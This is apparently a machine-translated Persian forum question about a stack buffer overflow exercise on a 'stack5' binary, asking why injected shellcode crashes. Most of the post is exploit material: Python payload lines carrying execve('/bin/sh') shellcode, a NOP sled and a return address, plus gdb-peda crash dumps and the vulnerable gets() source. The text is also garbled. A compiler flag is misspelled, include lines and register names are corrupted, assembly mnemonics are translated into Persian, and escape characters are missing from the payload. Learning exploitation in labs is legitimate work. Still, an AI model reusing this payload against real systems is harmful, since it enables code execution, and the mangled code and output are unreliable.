من ثبت نام EIP را با موفقیت رونویسی کردم (با اشاره به کد صدف من) اما کد صدف اجرا نمی شود. من با دستور
gcc -g -fno-stack-protection -z execstack -no-pie vuln.c -o vuln کامپایل کردم.
در اینجا خروجی gdb-peda (تلاش 1) آمده است:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff2a5 ("// shh / bin 211 343PS 211 341 260 v"، ' 220' ، " 245 362 377 277")
EDX: 0xb7fba01c -> 0x0
ESI: 0xb7fb8000 -> 0x1d6d6c
EDI: 0xb7fb8000 -> 0x1d6d6c
EBP: 0x0
ESP: 0xbffff2a5 ("// shh / bin 211 343PS 211 341 260 v"، ' 220' ، " 245 362 377 277")
EIP: 0x6850c031
EFLAGS: 0x10286 (حامل PARITY تنظیم تله SIGN را با سرریز جهت INTERRUPT تنظیم کنید)
[-------------------------------------code-------------------------------------]
آدرس رایانه شخصی نامعتبر: 0x6850c031
[------------------------------------stack-------------------------------------]
0000 | 0xbffff2a5 ("// shh / bin 211 343PS 211 341 260 v"، ' 220' ، " 245 362 377 277")
0004 | 0xbffff2a9 ("h / bin 211 343PS 211 341 260 v"، ' 220' ، " 245 362 377 277")
0008 | 0xbffff2ad -> 0x50e3896e
0012 | 0xbffff2b1 -> 0xb0e18953
0016 | 0xbffff2b5 -> 0x9080cd0b
0020 | 0xbffff2b9 -> 0x90909090
0024 | 0xbffff2bd -> 0x90909090
0028 | 0xbffff2c1 -> 0x90909090
[------------------------------------------------------------------------------]
افسانه: کد ، داده ، rodata ، مقدار
دلیل متوقف شده: SIGSEGV
0x6850c031 در ؟؟ ()
gdb-peda $ run <<(python -c "print 'A' * 17 + ' x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 xb0 x0b xcd x80 '+' x90 '* 24 +' xbf xff xf2 xa5 '[::-1] ")
خروجی gdb-peda (تلاش 2):
gdb-peda $ run <<(python -c "print" x90 '* 25 +' x31 xc0 x50 x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe3 x50 x53 x89 xe1 xb0 x0b xcd x80NOOOOPPPPQQQQQQQ '+' xbf xff xf2 xad '[::-1] ")
برنامه شروع: / home / kali / دسک تاپ / shfrytant-excersises / stack5 <<(python -c "print 'x90'*25 + 'x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80NOOOOPPPPQQQQQQQ' + 'xbfxffxf2xad'[::-1]")
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff2ad ("//shh/bin211343PS211341260vNOOOOPPPPQQQQQQQ255362377277")
EDX: 0xb7fba01c --> 0x0
ESI: 0xb7fb8000 -> 0x1d6d6c
EDI: 0xb7fb8000 -> 0x1d6d6c
EBP: 0x0
ESP: 0xbffff2ad ("// shh / bin 211 343PS 211 341 260 vNOOOOPPPPQQQQQQQQ 255 362 377 277")
EIP: 0x6850c031
EFLAGS: 0x10286 (حامل PARITY تنظیم تله SIGN را با سرریز جهت INTERRUPT تنظیم کنید)
[-------------------------------------code-------------------------------------]
آدرس رایانه شخصی نامعتبر: 0x6850c031
[------------------------------------stack-------------------------------------]
0000 | 0xbffff2ad ("// shh / bin 211 343PS 211 341 260 vNOOOOPPPPQQQQQQQQ 255 362 377 277")
0004 | 0xbffff2b1 ("h / bin 211 343PS 211 341 260 vNOOOOPPPPQQQQQQQ 255 362 377 277")
0008 | 0xbffff2b5 -> 0x50e3896e
0012 | 0xbffff2b9 -> 0xb0e18953
0016 | 0xbffff2bd -> 0x4e80cd0b
0020 | 0xbffff2c1 ("OOOOPPPPQQQQQQQ 255 362 377 277")
0024 | 0xbffff2c5 ("PPPPQQQQQQQ 255 362 377 277")
0028 | 0xbffff2c9 ("QQQQQQQQ 2525 362 377 277")
[------------------------------------------------------------------------------]
افسانه: کد ، داده ، rodata ، مقدار
دلیل متوقف شده: SIGSEGV
0x6850c031 در ؟؟ ()
عملکرد اصلی را جدا کرد:
gdb-peda $ disas main
تخلیه کد مونتاژکننده برای عملکرد اصلی:
0x08049162 <+0>: lea ecx، [esp+0x4]
0x08049166 <+4>: و esp ، 0xfffffff0
0x08049169 <+7>: فشار DWORD PTR [ecx-0x4]
0x0804916c <+10>: فشار ebp
0x0804916d <+11>: mov ebp، spsp
0x0804916f <+13>: push ebx
0x08049170 <+14>: push ecx
0x08049171 <+15>: sub esp، 0x40
0x08049174 <+18>: با 0x804919e تماس بگیرید <__x86.get_pc_thunk.ax>
0x08049179 <+23>: eax ، 0x2e87 اضافه کنید
0x0804917e <+28>: sub esp، 0xc
0x08049181 <+31>: lea edx، [ebp-0x48]
0x08049184 <+34>: push edx
0x08049185 <+35>: mov ebx، eax
0x08049187 <+37>: با 0x8049030 تماس بگیرید
0x0804918c <+42>: اضافه کردن esp، 0x10
0x0804918f <+45>: mov eax، 0x0
0x08049194 <+50>: lea esp، [ebp-0x8]
0x08049197 <+53>: pop ecx
0x08049198 <+54>: pop ebx
0x08049199 <+55>: pop ebp
0x0804919a <+56>: lea esp، [ecx-0x4]
0x0804919d <+59>: ret
کد منبع:
#include
#includ
# شامل
#includ
int main (int argc، char ** argv)
{
char buffer [64]؛
می شود (بافر)
}
سیستم عامل:
Linux kali 5.4.0-kali3-686-pae # 1 SMP Debian 5.4.13-1kali1 (2020-01-20) i686 GNU / Linux
چگونه می توانم کد صدف خود را برای اجرای آن دریافت کنم؟